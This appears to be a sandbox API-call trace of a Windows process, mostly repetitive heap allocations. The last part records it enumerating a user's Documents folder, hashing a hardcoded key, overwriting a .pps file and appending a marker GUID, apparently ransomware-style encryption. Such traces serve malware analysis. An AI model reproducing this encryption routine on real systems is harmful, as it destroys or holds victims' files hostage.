0x3306648 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.479] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\") returned="GYsSjG-g6A Jpf\\" [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f9a8 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\") returned="OstAGQ_x8J4h\\" [0114.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f9a8 | out: hHeap=0x660000) returned 1 [0114.483] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0114.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.483] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.483] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.483] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.483] PathFindFileNameW (pszPath="") returned="" [0114.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdef87690, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x26ed9110, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0x26ed9110, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.486] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdef87690, ftCreationTime.dwHighDateTime=0x1d4cd50, ftLastAccessTime.dwLowDateTime=0x26ed9110, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0x26ed9110, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.486] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d93d6a0, ftCreationTime.dwHighDateTime=0x1d4ccb2, ftLastAccessTime.dwLowDateTime=0x77d16f70, ftLastAccessTime.dwHighDateTime=0x1d4c64e, ftLastWriteTime.dwLowDateTime=0x77d16f70, ftLastWriteTime.dwHighDateTime=0x1d4c64e, nFileSizeHigh=0x0, nFileSizeLow=0xad43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4stR3pzmU2IjQjPCv2.pps", cAlternateFileName="4STR3P~1.PPS")) returned 1 [0114.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.486] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\4stR3pzmU2IjQjPCv2.pps") returned=".pps" [0114.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\4stR3pzmU2IjQjPCv2.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\4str3pzmu2ijqjpcv2.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.487] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=44355) returned 1 [0114.487] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.489] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xad1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.489] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.490] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.490] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xad43, lpOverlapped=0x0) returned 1 [0114.491] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.491] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.491] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.491] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.492] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.492] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.492] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.492] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.492] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.492] GetLastError () returned 0x0 [0114.492] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.492] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.492] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xad40) returned 0x3323120 [0114.492] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.492] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0xad3e, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0xad3e, lpOverlapped=0x0) returned 1 [0114.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.492] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xad43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.492] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.493] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.493] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.493] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.493] CloseHandle (hObject=0x624) returned 1 [0114.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 